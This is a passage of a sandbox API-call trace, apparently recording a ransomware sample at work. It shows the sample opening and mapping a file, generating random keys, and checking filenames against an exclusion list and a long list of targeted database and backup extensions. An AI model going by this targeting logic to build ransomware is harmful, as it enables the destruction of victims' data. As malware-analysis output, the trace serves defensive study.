dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0080.346] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=513912) returned 1 [0080.346] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0080.346] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0080.346] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0080.346] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0080.347] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0080.347] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0080.347] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7da80, lpName=0x0) returned 0x17c [0080.349] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7da80) returned 0x2d50000 [0080.371] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0080.372] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0080.372] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0080.372] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0080.372] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0080.372] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0080.372] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0080.372] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0080.372] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0080.372] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0080.373] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0080.373] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0080.373] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0080.373] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0080.377] CloseHandle (hObject=0x17c) returned 1 [0080.377] CloseHandle (hObject=0x154) returned 1 [0080.377] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0080.377] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0080.377] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0080.379] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32a39900, ftCreationTime.dwHighDateTime=0x1c6f3cf, ftLastAccessTime.dwLowDateTime=0x5977ff30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32a39900, ftLastWriteTime.dwHighDateTime=0x1c6f3cf, nFileSizeHigh=0x0, nFileSizeLow=0x9bb30, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ogalegit.dll", cAlternateFileName="")) returned 1 [0080.379] lstrcmpiW (lpString1="ogalegit.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0080.379] lstrcmpiW (lpString1="ogalegit.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0080.379] lstrcmpiW (lpString1="ogalegit.dll", lpString2=".") returned 1 [0080.380] lstrcmpiW (lpString1="ogalegit.dll", lpString2="..") returned 1 [0080.380] lstrcmpiW (lpString1="ogalegit.dll", lpString2="windows") returned -1 [0080.380] lstrcmpiW (lpString1="ogalegit.dll", lpString2="bootmgr") returned 1 [0080.380] lstrcmpiW (lpString1="ogalegit.dll", lpString2="temp") returned -1 [0080.380] lstrcmpiW (lpString1="ogalegit.dll", lpString2="pagefile.sys") returned -1 [0080.380] lstrcmpiW (lpString1="ogalegit.dll", lpString2="boot") returned 1 [0080.380] lstrcmpiW (lpString1="ogalegit.dll", lpString2="ids.txt") returned 1 [0080.380] lstrcmpiW (lpString1="ogalegit.dll", lpString2="ntuser.dat") returned 1 [0080.380] lstrcmpiW (lpString1="ogalegit.dll", lpString2="perflogs") returned -1 [0080.380] lstrcmpiW (lpString1="ogalegit.dll", lpString2="MSBuild") returned 1 [0080.380] lstrlenW (lpString="ogalegit.dll") returned 12 [0080.380] lstrcpyW (in: lpString1=0x241e89e, lpString2="ogalegit.dll" | out: lpString1="ogalegit.dll") returned="ogalegit.dll" [0080.380] lstrlenW (lpString="ogalegit.dll") returned 12 [0080.380] lstrlenW (lpString="Athena865") returned 9 [0080.380] lstrcmpiW (lpString1="legit.dll", lpString2="Athena865") returned 1 [0080.380] lstrlenW (lpString=".dll") returned 4 [0080.380] lstrcmpiW (lpString1="ogalegit.dll", lpString2=".dll") returned 1 [0080.380] lstrlenW (lpString=".lnk") returned 4 [0080.380] lstrcmpiW (lpString1="ogalegit.dll", lpString2=".lnk") returned 1 [0080.380] lstrlenW (lpString=".ini") returned 4 [0080.380] lstrcmpiW (lpString1="ogalegit.dll", lpString2=".ini") returned 1 [0080.380] lstrlenW (lpString=".sys") returned 4 [0080.380] lstrcmpiW (lpString1="ogalegit.dll", lpString2=".sys") returned 1 [0080.380] lstrlenW (lpString="ogalegit.dll") returned 12 [0080.380] lstrlenW (lpString="bak") returned 3 [0080.380] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0080.380] lstrlenW (lpString="ba_") returned 3 [0080.380] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0080.380] lstrlenW (lpString="dbb") returned 3 [0080.380] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0080.380] lstrlenW (lpString="vmdk") returned 4 [0080.380] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0080.380] lstrlenW (lpString="rar") returned 3 [0080.381] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0080.381] lstrlenW (lpString="zip") returned 3 [0080.381] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0080.381] lstrlenW (lpString="tgz") returned 3 [0080.381] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0080.381] lstrlenW (lpString="vbox") returned 4 [0080.381] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0080.381] lstrlenW (lpString="vdi") returned 3 [0080.381] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0080.381] lstrlenW (lpString="vhd") returned 3 [0080.381] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0080.381] lstrlenW (lpString="vhdx") returned 4 [0080.381] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0080.381] lstrlenW (lpString="avhd") returned 4 [0080.381] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0080.381] lstrlenW (lpString="db") returned 2 [0080.381] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0080.381] lstrlenW (lpString="db2") returned 3 [0080.381] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0080.381] lstrlenW (lpString="db3") returned 3 [0080.381] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0080.381] lstrlenW (lpString="dbf") returned 3 [0080.381] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0080.381] lstrlenW (lpString="mdf") returned 3 [0080.381] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0080.381] lstrlenW (lpString="mdb") returned 3 [0080.381] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0080.381] lstrlenW (lpString="sql") returned 3 [0080.381] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0080.381] lstrlenW (lpString="sqlite") returned 6 [0080.381] lstrcmpiW (lpString1="it.dll", lpString2="sqlite") returned -1 [0080.381] lstrlenW (lpString="sqlite3") returned 7 [0080.381] lstrcmpiW (lpString1="git.dll", lpString2="sqlite3") returned -1 [0080.381] lstrlenW (lpString="sqlitedb") returned 8 [0080.381] lstrcmpiW (lpString1="egit.dll", lpString2="sqlitedb") returned -1 [0080.382] lstrlenW (lpString="xml") returned 3 [0080.382] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0080.382] lstrlenW (lpString="$er") returned 3 [0080.382] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0080.382] lstrlenW (lpString="4dd") returned 3 [0080.382] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0080.382] lstrlenW (lpString="4dl") returned 3 [0080.382] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0080.382] lstrlenW (lpString="^^^") returned 3 [0080.382] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0080.382] lstrlenW (lpString="abs") returned 3 [0080.382] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0080.382] lstrlenW (lpString="abx") returned 3 [0080.382] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0080.382] lstrlenW (lpString="accdb") returned 5 [0080.382] lstrcmpiW (lpString1="t.dll", lpString2="accdb") returned 1 [0080.382] lstrlenW (lpString="accdc") returned 5 [0080.382] lstrcmpiW (lpString1="t.dll", lpString2="accdc") returned 1 [0080.382] lstrlenW (lpString="accde") returned 5 [0080.382] lstrcmpiW (lpString1="t.dll", lpString2="accde") returned 1 [0080.382] lstrlenW (lpString="accdr") returned 5 [0080.382] lstrcmpiW (lpString1="t.dll", lpString2="accdr") returned 1 [0080.382] lstrlenW (lpString="accdt") returned 5 [0080.382] lstrcmpiW (lpString1="t.dll", lpString2="accdt") returned 1 [0080.382] lstrlenW (lpString="accdw") returned 5 [0080.382] lstrcmpiW (lpString1="t.dll", lpString2="accdw") returned 1 [0080.382] lstrlenW (lpString="accft") returned 5 [0080.382] lstrcmpiW (lpString1="t.dll", lpString2="accft") returned 1 [0080.382] lstrlenW (lpString="adb") returned 3 [0080.382] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0080.382] lstrlenW (lpString="adb") returned 3 [0080.382] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0080.382] lstrlenW (lpString="ade") returned 3 [0080.382] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0080.383] lstrlenW (lpString="adf") returned 3 [0080.383] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0080.383] lstrlenW (lpString="adn") returned 3 [0080.383] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0080.383] lstrlenW (lpString="adp") returned 3 [0080.383] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0080.383] lstrlenW (lpString="alf") returned 3 [0080.383] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0080.383] lstrlenW (lpString="ask") returned 3 [0080.383] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0080.383] lstrlenW (lpString="btr") returned 3 [0080.383] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0080.383] lstrlenW (lpString="cat") returned 3 [0080.383] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0080.383] lstrlenW (lpString="cdb") returned 3 [0080.383] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0080.383] lstrlenW (lpString="ckp") returned 3 [0080.383] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0080.383] lstrlenW (lpString="cma") returned 3 [0080.383] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0080.383] lstrlenW (lpString="cpd") returned 3 [0080.383] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0080.383] lstrlenW (lpString="dacpac") returned 6 [0080.383] lstrcmpiW (lpString1="it.dll", lpString2="dacpac") returned 1 [0080.383] lstrlenW (lpString="dad") returned 3 [0080.383] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0080.383] lstrlenW (lpString="dadiagrams") returned 10 [0080.383] lstrcmpiW (lpString1="alegit.dll", lpString2="dadiagrams") returned -1 [0080.383] lstrlenW (lpString="daschema") returned 8 [0080.383] lstrcmpiW (lpString1="egit.dll", lpString2="daschema") returned 1 [0080.383] lstrlenW (lpString="db-journal") returned 10 [0080.383] lstrcmpiW (lpString1="alegit.dll", lpString2="db-journal") returned -1 [0080.383] lstrlenW (lpString="db-shm") returned 6 [0080.383] lstrcmpiW (lpString1="it.dll", lpString2="db-shm") returned 1 [0080.383] lstrlenW (lpString="db-wal") returned 6 [0080.384] lstrcmpiW (lpString1="it.dll", lpString2="db-wal") returned 1 [0080.384] lstrlenW (lpString="dbc") returned 3 [0080.384] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0080.384] lstrlenW (lpString="dbs") returned 3 [0080.384] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0080.384] lstrlenW (lpString="dbt") returned 3 [0080.384] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0080.384] lstrlenW (lpString="dbv") returned 3 [0080.384] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0080.384] lstrlenW (lpString="dbx") returned 3 [0080.384] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0080.384] lstrlenW (lpString="dcb") returned 3 [0080.384] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0080.384] lstrlenW (lpString="dct") returned 3 [0080.384] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0080.384] lstrlenW (lpString="dcx") returned 3 [0080.384] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0080.384] lstrlenW (lpString="ddl") returned 3 [0080.384] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0080.384] lstrlenW (lpString="dlis") returned 4 [0080.384] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0080.384] lstrlenW (lpString="dp1") returned 3 [0080.384] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0080.384] lstrlenW (lpString="dqy") returned 3 [0080.384] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0080.384] lstrlenW (lpString="dsk") returned 3 [0080.384] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0080.384] lstrlenW (lpString="dsn") returned 3 [0080.384] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0080.384] lstrlenW (lpString="dtsx") returned 4 [0080.384] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0080.384] lstrlenW (lpString="dxl") returned 3 [0080.384] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0080.384] lstrlenW (lpString="eco") returned 3 [0080.385] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0080.385] lstrlenW (lpString="ecx") returned 3 [0080.385] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0080.385] lstrlenW (lpString="edb") returned 3 [0080.385] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0080.385] lstrlenW (lpString="epim") returned 4 [0080.385] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0080.385] lstrlenW (lpString="fcd") returned 3 [0080.385] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0080.385] lstrlenW (lpString="fdb") returned 3 [0080.385] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0080.385] lstrlenW (lpString="fic") returned 3 [0080.385] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0080.385] lstrlenW (lpString="flexolibrary") returned 12 [0080.385] lstrlenW (lpString="fm5") returned 3 [0080.385] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0080.385] lstrlenW (lpString="fmp") returned 3 [0080.385] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0080.385] lstrlenW (lpString="fmp12") returned 5 [0080.385] lstrcmpiW (lpString1="t.dll", lpString2="fmp12") returned 1 [0080.385] lstrlenW (lpString="fmpsl") returned 5 [0080.385] lstrcmpiW (lpString1="t.dll", lpString2="fmpsl") returned 1 [0080.385] lstrlenW (lpString="fol") returned 3 [0080.385] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0080.385] lstrlenW (lpString="fp3") returned 3 [0080.385] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0080.385] lstrlenW (lpString="fp4") returned 3 [0080.385] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0080.385] lstrlenW (lpString="fp5") returned 3 [0080.385] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0080.385] lstrlenW (lpString="fp7") returned 3 [0080.385] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0080.385] lstrlenW (lpString="fpt") returned 3 [0080.385] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0080.386] lstrlenW (lpString="frm") returned 3 [0080.386] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0080.386] lstrlenW (lpString="gdb") returned 3 [0080.386] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0080.386] lstrlenW (lpString="gdb") returned 3 [0080.386] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0080.386] lstrlenW (lpString="grdb") returned 4 [0080.386] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0080.386] lstrlenW (lpString="gwi") returned 3 [0080.386] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0080.386] lstrlenW (lpString="hdb") returned 3 [0080.386] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0080.386] lstrlenW (lpString="his") returned 3 [0080.386] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0080.386] lstrlenW (lpString="ib") returned 2 [0080.386] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0080.386] lstrlenW (lpString="idb") returned 3 [0080.386] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0080.386] lstrlenW (lpString="ihx") returned 3 [0080.386] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0080.386] lstrlenW (lpString="itdb") returned 4 [0080.386] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0080.386] lstrlenW (lpString="itw") returned 3 [0080.386] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0080.386] lstrlenW (lpString="jet") returned 3 [0080.386] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0080.386] lstrlenW (lpString="jtx") returned 3 [0080.386] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0080.386] lstrlenW (lpString="kdb") returned 3 [0080.386] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0080.386] lstrlenW (lpString="kexi") returned 4 [0080.386] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0080.386] lstrlenW (lpString="kexic") returned 5 [0080.387] lstrcmpiW (lpString1="t.dll", lpString2="kexic") returned 1 [0080.387] lstrlenW (lpString="kexis") returned 5 [0080.387] lstrcmpiW (lpString1="t.dll", lpString2="kexis") returned 1 [0080.387] lstrlenW (lpString="lgc") returned 3 [0080.387] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0080.387] lstrlenW (lpString="lwx") returned 3 [0080.387] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0080.387] lstrlenW (lpString="maf") returned 3 [0080.387] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0080.387] lstrlenW (lpString="maq") returned 3 [0080.387] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0080.387] lstrlenW (lpString="mar") returned 3 [0080.387] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0080.387] lstrlenW (lpString="marshal") returned 7 [0080.387] lstrcmpiW (lpString1="git.dll", lpString2="marshal") returned -1 [0080.387] lstrlenW (lpString="mas") returned 3 [0080.387] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0080.387] lstrlenW (lpString="mav") returned 3 [0080.387] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0080.387] lstrlenW (lpString="maw") returned 3 [0080.387] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0080.387] lstrlenW (lpString="mdbhtml") returned 7 [0080.387] lstrcmpiW (lpString1="git.dll", lpString2="mdbhtml") returned -1 [0080.387] lstrlenW (lpString="mdn") returned 3 [0080.387] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0080.387] lstrlenW (lpString="mdt") returned 3 [0080.387] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0080.387] lstrlenW (lpString="mfd") returned 3 [0080.387] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0080.387] lstrlenW (lpString="mpd") returned 3 [0080.387] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0080.387] lstrlenW (lpString="mrg") returned 3 [0080.387] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0080.388] lstrlenW (lpString="mud") returned 3 [0080.388] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0080.388] lstrlenW (lpString="mwb") returned 3 [0080.388] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0080.388] lstrlenW (lpString="myd") returned 3 [0080.388] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0080.388] lstrlenW (lpString="ndf") returned 3 [0080.388] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0080.388] lstrlenW (lpString="nnt") returned 3 [0080.388] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0080.388] lstrlenW (lpString="nrmlib") returned 6 [0080.388] lstrcmpiW (lpString1="it.dll", lpString2="nrmlib") returned -1 [0080.388] lstrlenW (lpString="ns2") returned 3 [0080.388] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0080.388] lstrlenW (lpString="ns3") returned 3 [0080.388] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0080.388] lstrlenW (lpString="ns4") returned 3 [0080.388] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0080.388] lstrlenW (lpString="nsf") returned 3 [0080.388] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0080.388] lstrlenW (lpString="nv") returned 2 [0080.388] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0080.388] lstrlenW (lpString="nv2") returned 3 [0080.388] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0080.388] lstrlenW (lpString="nwdb") returned 4 [0080.388] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0080.388] lstrlenW (lpString="nyf") returned 3 [0080.388] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0080.388] lstrlenW (lpString="odb") returned 3 [0080.388] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0080.388] lstrlenW (lpString="odb") returned 3 [0080.388] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0080.388] lstrlenW (lpString="oqy") returned 3 [0080.388] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0080.389] lstrlenW (lpString="ora") returned 3 [0080.389] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0080.389] lstrlenW (lpString="orx") returned 3 [0080.389] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0080.389] lstrlenW (lpString="owc") returned 3 [0080.389] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0080.389] lstrlenW (lpString="p96") returned 3 [0080.389] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0080.389] lstrlenW (lpString="p97") returned 3 [0080.389] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0080.389] lstrlenW (lpString="pan") returned 3 [0080.389] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0080.389] lstrlenW (lpString="pdb") returned 3 [0080.389] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0080.389] lstrlenW (lpString="pdm") returned 3 [0080.389] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0080.389] lstrlenW (lpString="pnz") returned 3 [0080.389] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0080.389] lstrlenW (lpString="qry") returned 3 [0080.390] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0080.390] lstrlenW (lpString="qvd") returned 3 [0080.390] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0080.390] lstrlenW (lpString="rbf") returned 3 [0080.390] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0080.390] lstrlenW (lpString="rctd") returned 4 [0080.390] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0080.390] lstrlenW (lpString="rod") returned 3 [0080.390] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0080.390] lstrlenW (lpString="rodx") returned 4 [0080.390] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0080.390] lstrlenW (lpString="rpd") returned 3 [0080.390] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0080.390] lstrlenW (lpString="rsd") returned 3 [0080.390] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0080.390] lstrlenW (lpString="sas7bdat") returned 8 [0080.390] lstrcmpiW (lpString1="egit.dll", lpString2="sas7bdat") returned -1 [0080.390] lstrlenW (lpString="sbf") returned 3 [0080.390] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0080.390] lstrlenW (lpString="scx") returned 3 [0080.390] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0080.390] lstrlenW (lpString="sdb") returned 3 [0080.390] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0080.390] lstrlenW (lpString="sdc") returned 3 [0080.390] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0080.390] lstrlenW (lpString="sdf") returned 3 [0080.390] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0080.390] lstrlenW (lpString="sis") returned 3 [0080.390] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0080.390] lstrlenW (lpString="spq") returned 3 [0080.390] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0080.390] lstrlenW (lpString="te") returned 2 [0080.390] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0080.391] lstrlenW (lpString="teacher") returned 7 [0080.391] lstrcmpiW (lpString1="git.dll", lpString2="teacher") returned -1 [0080.391] lstrlenW (lpString="tmd") returned 3 [0080.391] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0080.391] lstrlenW (lpString="tps") returned 3 [0080.391] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0080.391] lstrlenW (lpString="trc") returned 3 [0080.391] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0080.391] lstrlenW (lpString="trc") returned 3 [0080.391] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0080.391] lstrlenW (lpString="trm") returned 3 [0080.391] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0080.391] lstrlenW (lpString="udb") returned 3 [0080.391] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0080.391] lstrlenW (lpString="udl") returned 3 [0080.391] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0080.391] lstrlenW (lpString="usr") returned 3 [0080.391] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0080.391] lstrlenW (lpString="v12") returned 3 [0080.391] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0080.391] lstrlenW (lpString="vis") returned 3 [0080.391] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0080.391] lstrlenW (lpString="vpd") returned 3 [0080.391] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0080.391] lstrlenW (lpString="vvv") returned 3 [0080.391] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0080.391] lstrlenW (lpString="wdb") returned 3 [0080.391] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0080.391] lstrlenW (lpString="wmdb") returned 4 [0080.391] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0080.391] lstrlenW (lpString="wrk") returned 3 [0080.391] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0080.391] lstrlenW (lpString="xdb") returned 3 [0080.392] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0080.392] lstrlenW (lpString="xld") returned 3 [0080.392] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0080.392] lstrlenW (lpString="xmlff") returned 5 [0080.392] lstrcmpiW (lpString1="t.dll", lpString2="xmlff") returned -1 [0080.392] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: 